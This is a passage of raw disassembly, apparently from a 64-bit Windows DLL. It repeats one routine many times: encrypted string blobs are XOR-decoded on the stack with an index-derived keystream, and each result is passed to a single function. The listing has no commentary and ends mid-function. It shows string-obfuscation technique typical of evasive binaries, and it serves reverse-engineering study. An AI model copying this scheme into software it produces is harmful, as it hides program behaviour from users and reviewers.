add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a06b0
lea rdx, [0x18023c264]
lea rcx, [rbp + 0x1650]
call fcn.180007270
movups xmm0, xmmword [str.aZXPXC]
movups xmmword [rbp + 0x1d40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a0860
cmp r12d, 2
jl 0x1800a081d
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d44]
mov r8d, dword [rsp + 0x60]
mov edx, esi
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a0730
jmp 0x1800a0860
lea r9, [rbp + 0x1d40]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a0830
lea rdx, [0x18023c268]
lea rcx, [rbp + 0x1d40]
call fcn.180007270
movaps xmm0, xmm7
call fcn.180008960
movzx eax, word [0x1801b83c8]
mov r8d, esi
mov word [rbp + 0x2230], ax
movzx eax, byte [0x1801b83ca]
mov byte [rbp + 0x2232], al
movups xmm0, xmmword [0x1801b83b8]
movups xmmword [rbp + 0x2220], xmm0
cmp r12d, 2
jl 0x1800a09b5
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2224]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a08c2
cmp r8d, 0x13
jge 0x1800a0a00
movsxd rax, r8d
lea r9, [rbp + 0x2220]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800a09d0
lea rdx, [0x18023c26c]
lea rcx, [rbp + 0x2220]
call fcn.180007270
cmp byte [0x1801b83e3], sil
movups xmm0, xmmword [str._VDT_E]
mov eax, dword [0x1801b83e0]
mov dword [rbp + 0x22f0], eax
movups xmmword [rbp + 0x22e0], xmm0
je 0x1800a0b90
mov r8d, esi
cmp r12d, 2
jl 0x1800a0b53
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x22e4]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a0a60
cmp r8d, 0x14
jge 0x1800a0b90
movsxd rax, r8d
lea r9, [rbp + 0x22e0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800a0b60
lea rdx, [0x1802401dc]
lea rcx, [rbp + 0x22e0]
call fcn.180007270
cmp byte [0x1801b8401], sil
movups xmm0, xmmword [str.fVXPFXJM]
movzx eax, word [0x1801b8400]
mov word [rbp + 0x2738], ax
movups xmmword [rbp + 0x2720], xmm0
movsd xmm0, qword [0x1801b83f8]
movsd qword [rbp + 0x2730], xmm0
je 0x1800a0d30
mov r8d, esi
cmp r12d, 2
jl 0x1800a0cf3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2724]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x1800a0c00
cmp r8d, 0x1a
jge 0x1800a0d30
movsxd rax, r8d
lea r9, [rbp + 0x2720]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1800a0d00
lea rdx, [0x1802401c0]
lea rcx, [rbp + 0x2720]
call fcn.180007270
movups xmm0, xmmword [str.q_QTD]
movups xmmword [rbp + 0x1d50], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a0eb0
cmp r12d, 2
jl 0x1800a0e6d
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d54]
mov r8d, dword [rsp + 0x60]
mov edx, esi
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a0d80
jmp 0x1800a0eb0
lea r9, [rbp + 0x1d50]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a0e80
lea rdx, [0x1802401c4]
lea rcx, [rbp + 0x1d50]
call fcn.180007270
cmp byte [0x1801b8429], sil
movups xmm0, xmmword [0x1801b8418]
movzx eax, word [0x1801b8428]
mov word [rbp + 0x2128], ax
movups xmmword [rbp + 0x2118], xmm0
je 0x1800a1040
mov r8d, esi
cmp r12d, 2
jl 0x1800a1003
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x211c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a0f10
cmp r8d, 0x12
jge 0x1800a1040
movsxd rax, r8d
lea r9, [rbp + 0x2118]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a1010
lea rdx, [0x1802401cc]
lea rcx, [rbp + 0x2118]
call fcn.180007270
movzx eax, byte [0x1801b8440]
mov r8d, esi
mov byte [rbp + 0x1ee8], al
movups xmm0, xmmword [str.aVYepW_WTX]
movups xmmword [rbp + 0x1ed8], xmm0
cmp r12d, 2
jl 0x1800a1183
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1edc]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1090
cmp r8d, 0x11
jge 0x1800a11c0
movsxd rax, r8d
lea r9, [rbp + 0x1ed8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a1190
lea rdx, [0x1802401d0]
lea rcx, [rbp + 0x1ed8]
call fcn.180007270
mov eax, dword [0x1801b8458]
mov r8d, esi
mov dword [rbp + 0x2410], eax
movzx eax, byte [0x1801b845c]
mov byte [rbp + 0x2414], al
movups xmm0, xmmword [0x1801b8448]
movups xmmword [rbp + 0x2400], xmm0
cmp r12d, 2
jl 0x1800a1313
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2404]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1220
cmp r8d, 0x15
jge 0x1800a1350
movsxd rax, r8d
lea r9, [rbp + 0x2400]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a1320
lea rdx, [0x1802401d4]
lea rcx, [rbp + 0x2400]
call fcn.180007270
mov eax, dword [0x1801b8470]
mov r8d, esi
mov dword [rbp + 0x2590], eax
movzx eax, word [0x1801b8474]
mov word [rbp + 0x2594], ax
movzx eax, byte [0x1801b8476]
mov byte [rbp + 0x2596], al
movups xmm0, xmmword [0x1801b8460]
movups xmmword [rbp + 0x2580], xmm0
cmp r12d, 2
jl 0x1800a14b3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2584]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a13c0
cmp r8d, 0x17
jge 0x1800a14f0
movsxd rax, r8d
lea r9, [rbp + 0x2580]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1800a14c0
lea rdx, [0x1802401d8]
lea rcx, [rbp + 0x2580]
call fcn.180007270
mov eax, dword [0x1801b8480]
mov r8d, esi
movsd xmm0, qword [str._BEZU_eTP__]
mov dword [rbp + 0x1c68], eax
movzx eax, word [0x1801b8484]
mov word [rbp + 0x1c6c], ax
movzx eax, byte [0x1801b8486]
mov byte [rbp + 0x1c6e], al
movsd qword [rbp + 0x1c60], xmm0
cmp r12d, 2
jl 0x1800a1629
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str._BEZU_eTP__]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1c60], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c64]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c60]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a1640
lea rdx, [0x1802401bc]
lea rcx, [rbp + 0x1c60]
call fcn.180007270
movaps xmm0, xmm7
call fcn.180008960
cmp byte [0x1801b8493], sil
movsd xmm0, qword [str.WY_G]
mov eax, dword [0x1801b8490]
movsd qword [rbp + 0x1660], xmm0
mov dword [rbp + 0x1668], eax
je 0x1800a17e0
mov r8d, esi
cmp r12d, 2
jl 0x1800a17a3
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm13
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm12
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm11
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.WY_G]
xorps xmm1, xmm0
movdqa xmm0, xmm13
movd dword [rbp + 0x1660], xmm1
movdqa xmm1, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm14
punpckldq xmm1, xmm13
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1664]
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1664], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1660]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a17b0
lea rdx, [0x1802401e0]
lea rcx, [rbp + 0x1660]
call fcn.180007270
cmp byte [0x1801b84ab], sil
movups xmm0, xmmword [0x1801b8498]
mov eax, dword [str.__E]
mov dword [rbp + 0x2308], eax
movups xmmword [rbp + 0x22f8], xmm0
je 0x1800a1970
mov r8d, esi
cmp r12d, 2
jl 0x1800a1933
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x22fc]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a1840
cmp r8d, 0x14
jge 0x1800a1970
movsxd rax, r8d
lea r9, [rbp + 0x22f8]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800a1940
lea rdx, str.ZS_QD_
lea rcx, [rbp + 0x22f8]
call fcn.180007270
mov eax, dword [0x1801b84c0]
mov r8d, esi
mov dword [rbp + 0x23f8], eax
movzx eax, byte [0x1801b84c4]
mov byte [rbp + 0x23fc], al
movups xmm0, xmmword [0x1801b84b0]
movups xmmword [rbp + 0x23e8], xmm0
cmp r12d, 2
jl 0x1800a1ac3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x23ec]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
